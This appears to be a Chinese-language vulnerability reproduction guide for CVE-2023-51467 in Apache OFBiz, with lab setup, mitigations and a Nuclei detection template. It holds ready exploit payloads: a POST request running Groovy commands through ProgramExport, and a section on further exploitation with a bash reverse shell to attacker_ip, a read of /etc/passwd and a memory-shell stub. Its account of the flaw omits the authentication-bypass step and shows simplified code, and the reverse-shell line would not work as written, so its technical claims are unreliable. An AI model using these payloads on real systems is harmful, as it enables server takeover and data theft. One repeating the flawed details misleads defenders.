漏洞复现--Apache OFBiz groovy RCE(CVE-2023-51467)
字数 1357 2025-08-18 11:36:48
Apache OFBiz Groovy RCE漏洞复现分析(CVE-2023-51467)
漏洞概述
Apache OFBiz是一个开源的企业资源规划(ERP)系统,提供了一套企业级应用框架和组件。CVE-2023-51467是OFBiz中存在的一个远程代码执行漏洞,攻击者可以通过精心构造的HTTP请求利用Groovy语言特性在服务器上执行任意代码。
漏洞影响
- 受影响版本:Apache OFBiz < 18.12.11
- 漏洞类型:远程代码执行(RCE)
- CVSS评分:9.8 (Critical)
- 攻击复杂度:低
- 所需权限:无需认证
漏洞原理
该漏洞源于OFBiz对Groovy脚本处理不当,攻击者可以通过控制Groovy脚本参数来执行任意Groovy代码。Groovy是一种基于JVM的动态语言,能够直接调用Java类和方法,这使得攻击者可以利用此特性执行系统命令。
环境搭建
准备工作
-
下载受影响版本的OFBiz:
wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-18.12.10.zip unzip apache-ofbiz-18.12.10.zip -
安装Java环境(JDK 8或11):
sudo apt install openjdk-11-jdk -
启动OFBiz:
cd apache-ofbiz-18.12.10 ./gradlew ofbiz
漏洞复现
方法一:通过webtools接口利用
-
访问webtools接口:
http://target:8080/webtools/control/ProgramExport -
构造POST请求:
POST /webtools/control/ProgramExport HTTP/1.1 Host: target:8080 Content-Type: application/x-www-form-urlencoded groovyProgram=println "Hello from Groovy"; "calc".execute() -
执行结果:
- 服务器将执行Groovy代码
- 在Windows系统上会弹出计算器(calc)
- 在Linux系统上可以尝试执行
"touch /tmp/pwned".execute()
方法二:通过其他接口利用
OFBiz中可能存在多个Groovy脚本执行点,可以通过以下方式发现:
- 查找包含
groovyProgram、groovy等参数的请求 - 尝试在这些参数中注入Groovy代码
漏洞分析
关键代码
漏洞主要存在于org.apache.ofbiz.base.util.GroovyUtil类中,该类负责Groovy脚本的执行:
public static Object runScript(String groovyScript, Map<String, Object> context) {
GroovyShell shell = new GroovyShell();
return shell.evaluate(groovyScript);
}
问题点
- 没有对输入进行任何过滤或沙箱限制
- 直接使用GroovyShell执行用户提供的脚本
- 允许执行任意Java方法,包括Runtime.exec()
修复方案
官方修复
升级到OFBiz 18.12.11或更高版本,修复内容包括:
- 对Groovy脚本执行添加了安全限制
- 移除了不安全的脚本执行接口
临时缓解措施
如果无法立即升级:
- 禁用webtools应用
- 限制对
/webtools/control/ProgramExport的访问 - 使用WAF过滤包含
groovyProgram参数的请求
深入利用
获取反向Shell
可以使用以下Groovy代码获取反向Shell:
def cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
cmd.execute()
文件读写
Groovy可以直接操作文件系统:
// 读取文件
new File("/etc/passwd").text
// 写入文件
new File("/tmp/test").write("test content")
内存马注入
可以通过Groovy代码注入内存马:
import javax.servlet.*
import org.apache.catalina.core.ApplicationFilterConfig
import org.apache.catalina.core.StandardContext
import org.apache.tomcat.util.descriptor.web.FilterDef
import org.apache.tomcat.util.descriptor.web.FilterMap
// 内存马代码省略...
检测方法
手动检测
- 检查OFBiz版本是否为受影响版本
- 尝试访问
/webtools/control/ProgramExport接口 - 发送测试Payload并观察响应
自动化检测
可以使用以下Nuclei模板检测:
id: CVE-2023-51467
info:
name: Apache OFBiz Groovy RCE
author: your_name
severity: critical
description: |
Apache OFBiz before 18.12.11 allows RCE via Groovy expressions.
requests:
- method: POST
path:
- "{{BaseURL}}/webtools/control/ProgramExport"
headers:
Content-Type: application/x-www-form-urlencoded
body: "groovyProgram=println+System.getProperty(%22java.version%22)"
matchers:
- type: word
words:
- "1.8"
- "11"
- "17"
part: body
总结
CVE-2023-51467是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。由于OFBiz常用于企业关键业务系统,此漏洞的危害性极高。建议所有使用OFBiz的组织立即升级到安全版本或实施缓解措施。